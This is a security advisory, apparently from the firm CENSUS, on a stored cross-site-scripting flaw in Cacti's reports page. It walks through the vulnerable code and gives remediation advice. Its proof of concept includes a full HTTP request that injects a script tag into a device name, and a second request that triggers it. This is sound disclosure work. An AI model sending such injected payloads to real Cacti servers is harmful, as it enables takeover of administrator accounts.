Summary

A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim's browser at view-time.

Details

Census discovered that the script under reports_admin.php is vulnerable to a stored XSS attack.

Thereports_admin.php script displays reporting information about graphs, devices, data sources etc.
CENSUS found that an adversary that is able to configure a malicious Device name, can deploy a stored XSS attack against any user of the same (or broader) privileges.

A user that possesses the General Administration>Sites/Devices/Data permissions can configure the device names in cacti. This configuration occurs through http://<HOST>/cacti/host.php, while the rendered malicious payload is exhibited at http://<HOST>/cacti/reports_admin.php when the a graph with the maliciously altered device name is linked to the report.

The relevant vulnerable code-path that affects the reports_admin.php page can be found in the following points:

html_reports.php:1008

$fields_reports_item_edit = array(
...
	'host_id' => array(
		'friendly_name' => __('Device'),
		'method' => 'drop_callback',
		'description' => __('Select a Device to be used to filter for of select for Graphs in the case of a Device Type.'),
		'sql' => 'SELECT id, description as name FROM host ORDER BY name',
		'action' => 'ajax_hosts',
		'none_value' => __('None'),
		'on_change' => 'changeDevice()',
		'id' => $report_item['host_id'],
		'value' => $host_description
	),
...
);

lib/html_reports.php:1116

draw_edit_form(
		array(
			'config' => array('no_form_tag' => true),
			'fields' => inject_form_variables($fields_reports_item_edit, (isset($report_item) ? $report_item : array()))
		)
	);

html_form.php:895

width = $('#<?php print $form_name;?>_input').textBoxWidth();
			if (width < 100) {
				width = 100;
			}

includes/layout.js:283

/** textBoxWidth - This function will return the natural width of a string
 *  without any wrapping. */
$.fn.textBoxWidth = function() {
	var org = $(this);
	var html = $('<span style="display:none;white-space:nowrap;position:absolute;width:auto;left:-9999px">' + (org.val() || org.text()) + '</span>');
	html.css('font-family', org.css('font-family'));
	html.css('font-weight', org.css('font-weight'));
	html.css('font-size',   org.css('font-size'));
	html.css('padding',     org.css('padding'));
	html.css('margin',      org.css('margin'));
	$('body').append(html);
	var width = html.width();
	html.remove();
	return width;
};

The value => $host_description is the first step of appending the malicious payload in the resulting HTML view. The draw_edit_form call appends all the values from the array that the malicious payload is part of in an HTML table. Following, the inline JavaScript that runs from the imported html_forms.php files calls the $.fn.textBoxWidth function. The moment that the $('body').append(html) statement is executed the malicious script runs and then it is immediately deleted from the final HTML view, as the code that follow this call suggest.

Since the malicious payload is stored in a database attribute the XSS vulnerability falls under the 'Stored XSS' type.

A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the backend with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim's browser, the malicious code block will become part of the browser's DOM and with thus be executed at view-time.

PoC

To verify the issue one can perform a call of the following form, in order to place a malicious payload in the cacti database:

POST /cacti/host.php?header=false HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 885
Origin: http://<HOST>
Connection: close
Cookie: Cacti=<COOKIE>

__csrf_magic=<CSRF TOKEN>&description=Local+Linux+Machine%3Cscript%3Ealert('host.php')%3C%2Fscript%3E&hostname=localhost=&poller_id=1&site_id=0&host_template_id=7&device_threads=1&snmp_version=0&snmp_community=public&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=-1&availability_method=0&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1&notes=Initial+Cacti+Device&external_id=&id=1&save_component_host=1&graph_template_id=5&reindex_radio_1=on&reindex_radio_16=on&snmp_query_id=3&reindex_method=0&action=save

For the attacker to place the malicious payload, the aforementioned 'General Administration>Sites/Devices/Data' privileges are required. For the victim to view the malicious information, the same or higher privileges are required.

An example request that renders the payload in reports_admin.php

GET /cacti/reports_admin.php?action=item_edit&id=1&item_id=1 HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CactiDateTime=<COOKIE>
Upgrade-Insecure-Requests: 1

Impact

To perform the Stored XSS attack the adversary needs to be an authorized cacti user with the following permissions:

• 'General Administration>Sites/Devices/Data'

The victim of the stored XSS attack could be any account with access to reports_admin.php page

Once the attacker has executed the malicious JavaScript within the victim's browser it is possible to

• perform a victim-account takeover
• perform arbitrary actions on the platform as the victim user
• redirect the user to a malicious website
• ask for sensitive information, under the cover of the cacti webpage
• run browser related exploits and attacks
• join a browser botnet and participate in a DDoS attack

Remediation

Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output. For the client side JavaScript code, make sure to avoid appending user-controlled input inside the DOM.

The issue was identified by Vissarion Moutafis of CENSUS. CENSUS will be releasing an advisory for this issue once a release that fixes the issue becomes available (or in 90 days, whichever comes first). Should you require assistance with the review of the patch we will be more than happy to help!